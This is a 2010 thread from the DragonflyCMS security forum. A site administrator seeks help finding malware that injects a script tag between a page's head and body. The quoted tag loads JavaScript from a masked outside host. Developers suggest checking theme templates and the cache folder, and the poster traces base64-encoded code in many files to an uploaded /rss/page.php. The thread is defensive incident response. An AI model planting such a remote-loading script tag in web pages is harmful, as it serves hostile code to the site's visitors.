Home Private Messages Search
CPG Dragonfly™ CMS stopsoftwarepatents.eu petition banner
Toggle Content
 
Forums ⇒ CMS (All) ⇒ Security ⇒ Code Insertion Between Head and Body Tags


Code Insertion Between Head and Body Tags
Post any security related questions in here.
Please send discovered reports to security @ cpgnuke.com
Do Not post links to exploits or hacker sites - your post will be edited/deleted.
If you think you've been hacked, FIRST go through your server logs.

Post new topic    Reply to topic    Printer Friendly Page     Forum Index ⇒  Security

View previous topic :: View next topic  
Author Message
jcjordan
Newbie
Newbie

Offline Offline
Joined: Oct 29, 2009
Posts: 9
Location: Kansas, US
PostPosted: Sat Jul 31, 2010 3:14 pm
Post subject: Code Insertion Between Head and Body Tags

On one of the websites that I administer, I have a code injection between the head and body tags. I have searched the source code, but I have yet to figure out where the culprit is hiding.
Code::
  </head><script src=http://xxx.xxx/piudurres/indexu.php ></script>
<body>

Any help would be greatly appreciated.


jcjordan's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Linux/Apache2/MySQL5.0.14/PHP5.2.6/DF9.2.1
Back to top
View user's profile Visit poster's website
NanoCaiordo
Developer
Developer

Offline Offline
Joined: Jun 29, 2004
Posts: 3878
Location: Melbourne, AU
PostPosted: Sun Aug 01, 2010 12:56 am
Post subject: Re: Code Insertion Between Head and Body Tags

/themes/*/template/index.php
if you can't find it clear the /cache/

_________________
.:: I met php the 03 December 2003 :: Unforgettable day! ::.

Linux 64bit / Apache 2.2 / PHP 5.4 / MySQL 5.5.22 / v9, v10
Linux 32bit / Apache 2.2 / PHP 5.3.10 / MySQL 5.5.22 / v9, v10
Windows 64bit / IIS 7.5 / PHP 5.3.10 / MySQL 5.5.22 / v9, v10


NanoCaiordo's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
mixed
Back to top
View user's profile Visit poster's website Photo Gallery
greenday2k
Forum Admin
Forum Admin

Offline Offline
Joined: Aug 11, 2005
Posts: 489
Location: CO
PostPosted: Sun Aug 01, 2010 12:57 am
Post subject: Re: Code Insertion Between Head and Body Tags

Themmes/yourtheme/template/header.html

cache folder. Check your cache folder permissions.

_________________
www.greenday2k.net


greenday2k's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Back to top
View user's profile Visit poster's website MSN Messenger Yahoo Messenger
jcjordan
Newbie
Newbie

Offline Offline
Joined: Oct 29, 2009
Posts: 9
Location: Kansas, US
PostPosted: Sun Aug 01, 2010 4:06 pm
Post subject: Re: Code Insertion Between Head and Body Tags

I eventually found it, however, most of it was base64 encoded. It took over almost all javascript files and many php files including config.php.


jcjordan's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Linux/Apache2/MySQL5.0.14/PHP5.2.6/DF9.2.1
Back to top
View user's profile Visit poster's website
jcjordan
Newbie
Newbie

Offline Offline
Joined: Oct 29, 2009
Posts: 9
Location: Kansas, US
PostPosted: Sun Aug 01, 2010 4:46 pm
Post subject: Re: Code Insertion Between Head and Body Tags

I am still working on trying to figure out how it got in. I have had the one site for about 2 years with no problems and all of a sudden I have two sites both attacked almost concurrently. There have been no changes on hosting or configuration. The first site was infected by an upload of /rss/page.php.


jcjordan's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Linux/Apache2/MySQL5.0.14/PHP5.2.6/DF9.2.1
Back to top
View user's profile Visit poster's website
NanoCaiordo
Developer
Developer

Offline Offline
Joined: Jun 29, 2004
Posts: 3878
Location: Melbourne, AU
PostPosted: Sun Aug 01, 2010 10:32 pm
Post subject: Re: Code Insertion Between Head and Body Tags

jcjordan, most luckily the attach was done from within the server ... however which files they modified? Asking because I'm working on few solutions against those kind of attacks and an extensive list of modified files would really help.

Both sites attacked on the same time? Must be done from within the server, is it a shared server?

_________________
.:: I met php the 03 December 2003 :: Unforgettable day! ::.

Linux 64bit / Apache 2.2 / PHP 5.4 / MySQL 5.5.22 / v9, v10
Linux 32bit / Apache 2.2 / PHP 5.3.10 / MySQL 5.5.22 / v9, v10
Windows 64bit / IIS 7.5 / PHP 5.3.10 / MySQL 5.5.22 / v9, v10


NanoCaiordo's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
mixed
Back to top
View user's profile Visit poster's website Photo Gallery
jcjordan
Newbie
Newbie

Offline Offline
Joined: Oct 29, 2009
Posts: 9
Location: Kansas, US
PostPosted: Sun Aug 01, 2010 11:09 pm
Post subject: Re: Code Insertion Between Head and Body Tags

I have a list of most of the files that they modified and what I think is the original culprit. If you would like, I can send the list and file to you.

Yes, it is a shared server and I have the security team checking into it now.

It was not simultaneous, but it did happen very quickly. I ended up having to kill the site completely, verify that the files were clean and then re-up.


jcjordan's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Linux/Apache2/MySQL5.0.14/PHP5.2.6/DF9.2.1
Back to top
View user's profile Visit poster's website
NanoCaiordo
Developer
Developer

Offline Offline
Joined: Jun 29, 2004
Posts: 3878
Location: Melbourne, AU
PostPosted: Mon Aug 02, 2010 8:22 am
Post subject: Re: Code Insertion Between Head and Body Tags

pm sent

_________________
.:: I met php the 03 December 2003 :: Unforgettable day! ::.

Linux 64bit / Apache 2.2 / PHP 5.4 / MySQL 5.5.22 / v9, v10
Linux 32bit / Apache 2.2 / PHP 5.3.10 / MySQL 5.5.22 / v9, v10
Windows 64bit / IIS 7.5 / PHP 5.3.10 / MySQL 5.5.22 / v9, v10


NanoCaiordo's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
mixed
Back to top
View user's profile Visit poster's website Photo Gallery
jcjordan
Newbie
Newbie

Offline Offline
Joined: Oct 29, 2009
Posts: 9
Location: Kansas, US
PostPosted: Mon Aug 02, 2010 12:28 pm
Post subject: Re: Code Insertion Between Head and Body Tags

Email sent. I sent you the logs, the list of files changed over different domains, and the catalyst file called /rss/page.php.


jcjordan's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Linux/Apache2/MySQL5.0.14/PHP5.2.6/DF9.2.1
Back to top
View user's profile Visit poster's website
NanoCaiordo
Developer
Developer

Offline Offline
Joined: Jun 29, 2004
Posts: 3878
Location: Melbourne, AU
PostPosted: Tue Aug 03, 2010 10:24 pm
Post subject: Re: Code Insertion Between Head and Body Tags

Never received your email :), please send it again.

_________________
.:: I met php the 03 December 2003 :: Unforgettable day! ::.

Linux 64bit / Apache 2.2 / PHP 5.4 / MySQL 5.5.22 / v9, v10
Linux 32bit / Apache 2.2 / PHP 5.3.10 / MySQL 5.5.22 / v9, v10
Windows 64bit / IIS 7.5 / PHP 5.3.10 / MySQL 5.5.22 / v9, v10


NanoCaiordo's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
mixed
Back to top
View user's profile Visit poster's website Photo Gallery
Display posts from previous:   
Post new topic    Reply to topic    Printer Friendly Page    Forum Index ⇒  Security
Page 1 of 1
All times are GMT



Jump to:  


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You cannot download files in this forum


 
   Toggle Content User Info

Welcome Anonymous

Nickname
Password
(Register)

   Toggle Content Last CVS commits
· Further security class improvements.
· 301 redirects on LEO changes
· Option to force 3xx http status codes
· Validate googlebot.com and google.com crawlers.
· CCBot
· Rss with etag and atom.
· Removed index.php depency.
· v9 fixed menu hoverings on touch screens.
· Fixed menu hoverings on touch screens.
· Fixed empty $Module object

Детальніше...

   Toggle Content Community

Support for DragonflyCMS in a other languages:

Deutsch
Español

   Toggle Content X-links
UltraEdit Browse Happy logo Firefox MySQL PostgreSQL Valid CSS! Valid XHTML 1.0! Unicode Encoded Badge NukeBiz Resources Raven DragonflyCMS Dedicated Now InsideSupport Lampe Berger

You are seeing squares or questionmarks on this page?

All content of this website is copyrighted by the Creative Commons NC-SA
The logos and trademarks used on this site are the property of their respective owners
We are not responsible for comments posted by our users, as they are the property of the poster.
Our server runs on a P3 1.2GHz with 512MB RAM with no accelerators
Support GoPHP5.org
Interactive software released under GNU GPL, Code Credits, Privacy Policy